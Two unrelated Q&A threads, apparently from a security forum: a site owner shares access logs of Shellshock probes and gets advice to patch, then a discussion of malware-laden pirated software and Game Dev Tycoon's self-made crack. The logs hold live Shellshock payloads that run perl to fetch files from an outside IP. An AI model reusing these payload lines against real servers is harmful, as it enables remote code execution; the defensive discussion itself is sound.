[15/Jan/2016:10:27:47 +0000] "GET /cgi-bin/php4 HTTP/1.1" 404 345 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plainrnrnXSUCCESS!";system(" wget http://204.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232.209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png ");'"
[15/Jan/2016:10:27:48 +0000] "GET /cgi-bin/php5 HTTP/1.1" 404 345 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plainrnrnXSUCCESS!";system(" wget http://204.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232.209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png ");'"

But what concerns me is the next message, which appears to receive a 200 response:

[15/Jan/2016:10:27:48 +0000] "GET / HTTP/1.1" 200 2091 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plainrnrnXSUCCESS!";system(" wget http://204.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232.209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png ");'"

My server responded by blocking the IP address but clearly it was a little too late.

The logs suggest that all that was managed was to download an image file (which apparently doesn't exist on the server). But this looks like it was only a probe and could be much worse next time. Or am I assuming too much?

I can add additional filters but what can I do to protect myself from a similar kind of attack? How would I even know if I'd already been compromised?

The IP address is located in Iran. I've already blocked China so may consider doing the same to Iran. Extreme, yes, but the logs show that thousands of attempts from China are dropped every day.

Notice the magic string () { :; };. They are trying to poke around and see if your server is vulnerable to the ShellShock exploit. Perl is used here to print and see if the attack succeeded. Make sure to patch and update your server. You should be safe from these kind of attacks.


Do software companies intentionally upload fake/infected versions of their own software to file sharing networks as a means to combat piracy? Disclaimer: No illegal activity is condoned in this post. The legality of the described activity varies from country to country.

I remember in the early 00's, when peer to peer file sharing was booming. I would download music from Kazaa. After a few months of happy piracy, I would start getting these music files that were fine for the first 15 seconds, but then started making a horrible buzzing sound for the rest of the track. My 13 year old self speculated that these files may have been intentionally seeded in great numbers by the RIAA or someone like that, in an attempt to flood the network and thus make it useless. They seemed the most likely candidate with means, motive and opportunity to seed so many files on such a large scale. It didn't take long before "verified" file sharing sites started being a popular starting place for p2p.

Recently, on sites like The Pirate Bay, I've seen that there are files that have a huge amount of seeders, but no comments, and they were typically all posted less than a day ago. Typically, the same user has posted many different files like that, and they all have a huge amount of seeders. I have downloaded many such torrents. (Running them in virtual machines for experimental purposes.) Quite often, I have found them to be packed with malware and viruses. (Not just the keygens, which often give false positives, but actual malware that flood your system with advertisements, etc). In other cases it may just be a version of a game that appears to work, but promptly crashes 10% into it, or something like that.

In a normal situation, one would expect the best, cleanest and most functioning version of a program to get the most seeders, as that one would have the best comments under it, and be shared around and accessed the most. Yet that is often not the case. Usually you have to go quite a bit down the list to actually find a good torrent with good comments.

Who are regularly reuploading these bad/infected versions of software, and seeding them on a large scale? Who has the means, motive and opportunity to do this?

One thing that comes to mind is botnets who just want to distribute adware, and thus make money. That's quite possible. But that doesn't explain versions of software that simply don't work, or appear to work at first, but malfunction after a short time (no adware).

If I was Adobe, or Rockstar Games, or Microsoft or someone like that, I would recognize what an incredible blow online piracy is to my company's revenue. These companies' income would increase immensely if online piracy disappeared or was greatly reduced. And actually, trying to find pirated versions of software and instead getting all these fakes and malware on top of the list, is a great deterrent that probably stops lots of people from pirating, leading many of them to buy the software instead.

If I was these companies, I would find uploading and seeding this stuff on a large scale quite a good idea, in an attempt to combat piracy of the software I sell.

But, would it be illegal of them to do so? Sure, they are only punishing people who are already breaking the law. (Unless someone was in a country that hasn't banned piracy), but would it still be illegal for a company to distribute viruses in that way? I mean, the viruses may spread further, infecting innocent people's computers.

Is there any evidence that software companies actually engage in this form of piracy prevention? You may include instances where a company has paid a proxy entity to engage in the activity for them.

I would suspect that intentionally causing harm to other peoples' computers is illegal in most parts of the world. I also believe that in most parts of the world someone committing a crime against you (or in this case just having the intention to do so) does not necessarily give you the right to commit a crime against them. But as with most people on this website, my area of expertise is technology, not law. So I would refer you to the people on law stackexchange which might explain this far better than we could.

No, these malware-infested pirated copies are usually spread by criminals who have no affiliation with the game companies and are looking for an easy way to grow their botnets.

Regarding low-quality versions which malfunction after a while: There is a huge competition between piracy groups to be the first to release a certain game. That means they often do not take time to test the game properly to make sure that all copy protection features are disabled properly and without breaking anything. Also, games are sometimes leaked and pirated before the actual release (a common source are press pre-release copies), so various last-minute patches and bugfixes might not be applied yet which do exist in the actual release version.

But I know of one case where a company openly admitted to uploading a modified version of their game to piracy websites. However, their modifications were not malicious. They just made the game unplayable in a quite original way:

  When we released our very first game, Game Dev Tycoon (for Mac, Windows and Linux) yesterday, we did something unusual and as far as I know unique. We released a cracked version of the game ourselves, minutes after opening our Store. [...]
  The cracked version is nearly identical to the real thing except for one detail… [...] as players spend a few hours playing and growing their own game dev company, they will start to see the following message, styled like any other in-game message

    Boss, it seems that while many players play our new game, they steal it by downloading a cracked version rather than buying it legally.
    If players don’t buy the games they like, we will sooner or later go bankrupt.

  Slowly their in-game funds dwindle, and new games they create have a high chance to be pirated until their virtual game development company goes bankrupt.

And then they amused themselves about the software pirates who posted on the official support forum complaining that the software piracy game mechanic is completely overpowered and that there should be a way to take legal actions against the software pirates or develop DRM technology to stop them.